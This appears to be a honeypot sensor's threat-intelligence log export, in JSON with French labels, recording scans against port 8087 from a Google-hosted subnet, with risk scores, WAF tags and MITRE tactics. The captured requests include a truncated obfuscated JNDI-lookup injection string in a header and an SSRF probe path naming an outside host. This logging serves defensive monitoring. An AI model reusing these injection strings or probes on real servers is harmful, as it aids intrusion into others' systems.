"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.8,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 50,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "4bf3ddc8f04f224388211e311003728fce09c171",
"event_fingerprint": "f101b5a9d5b093a78295a25d33084634d7d418d5",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162",
"pat-0324"
],
"matched_pattern_names": [
"CRS 933135",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0162",
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 50,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "8b561a67d285036ecd673881c937ac4d",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 50
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${76b9:-j}${uy:ic:tu:-n}${t0f:dm28:-d}${0n:vxwg:-i}${g",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${76b9:-j}${uy:ic:tu:-n}${t0f:dm28:-d}${0n:vxwg:-i}${g",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2ad4c9e04101b4bfda8dc4ee3d64903e0f7654f7",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe)",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8087_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 50\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 50,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 50,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8087 tcp \u00b7 via HTTP:8087 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:13 UTC
TCP
8087 · HTTP
SSRF interne
ssrf internal · via HTTP:8087 · (tentative d'exploit)
Élevée
Moyen · 56
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8087
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Moyen
· 56
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8087
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8087 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 185,
"payload_entropy": 5.349114814617883,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 56,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "ac25cfe440c12f4ccb2faeb3aa29909fe10b0e2e",
"event_fingerprint": "f101b5a9d5b093a78295a25d33084634d7d418d5",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 56,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "c9a7db31c8fd4f17e383239c68b2ebd5",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 56
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7f60de4b0db964e56efb85cecf945c8320b40baf",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"attack_vector": "ssrf internal \u00b7 via HTTP:8087 \u00b7 (tentative d'exploit)",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"classification_reason_label_fr": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 56\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 64 % \u2014 via HTTP \u2014 campagne \/24 (34.19.127.0\/24)",
"confidence_pct": 64,
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 56,
"correlation_boost": 10
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 56,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"CRS-920350"
],
"tags_summary_labels_fr": [
"CRS-920350"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "ssrf internal \u00b7 via HTTP:8087 \u00b7 (tentative d'exploit)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 54 % \u2014 Motif catalogue confirm\u00e9 \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 64 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 25,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:47:13 UTC
TCP
8087 · HTTP
SSRF interne
ssrf internal · via HTTP:8087 · (tentative d'exploit) · → /http%3A%2F%2Fw00te8b527c1d.com
Élevée
Élevé · 65
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0001
TA0001
TA0002
Protocole
GET /http%3A%2F%2Fw00te8b527c1d.com UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
25
Recommandation
Investiguer
Tags
950326:rce-0
950404:ssrf-3
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/http%3A%2F%2Fw00te8b527c1d.com
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8087
Chemin / cible
/http%3A%2F%2Fw00te8b527c1d.com
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
64%
Corrélation +10
Risque capteur
Élevé
· 65
Confiance : Confiance 54 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
ssrf-3
nosqli-3
Payload (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1
Host: 62.3.50.33:8087
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET /http%3A%2F%2Fw00te8b527c1d.com HTTP/1.1 Host: 62.3.50.33:8087 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": "com",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "23dd08f746fb09fb08372c318f4fc3071fcf4424",
"http_target_hash": "355a640a1127bedaf9ba5b47245be79b4b8816cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 215,
"payload_entropy": 5.449683783297429,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8087,
"risk_waf": 100,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.1,
"risk_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 65,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "7721837c84fec63464207a0926b105240337e8cf",
"event_fingerprint": "389863eb12f41623aa64628a726199262089baf4",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.64,
"classification_confidence": 0.64,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 65,
"correlation_boost": 10
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "e22e8c44f85c2618b5ca020e421630d2",
"path_pattern_hash": "171eee81760289d880760c80160359e6"
},
"target_context": {
"dst_port": 8087,
"service": "http",
"service_name": "http",
"risk_score": 65
},
"payload_preview": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac ",
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950404:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"request_sample": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "30f8274abe97de20f855efdd43c10683dd49bcf8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/http%3A%2F%2Fw00te8b527c1d.com",
"request_line": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/http%3A%2F%2Fw00te8b527c1d.com HTTP\/1.1\r\nHost: 62.3.50.33:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "ssrf internal \u00b7 via HTTP:8087 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/http%3A%2F%2Fw00te8b527c1d.com",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
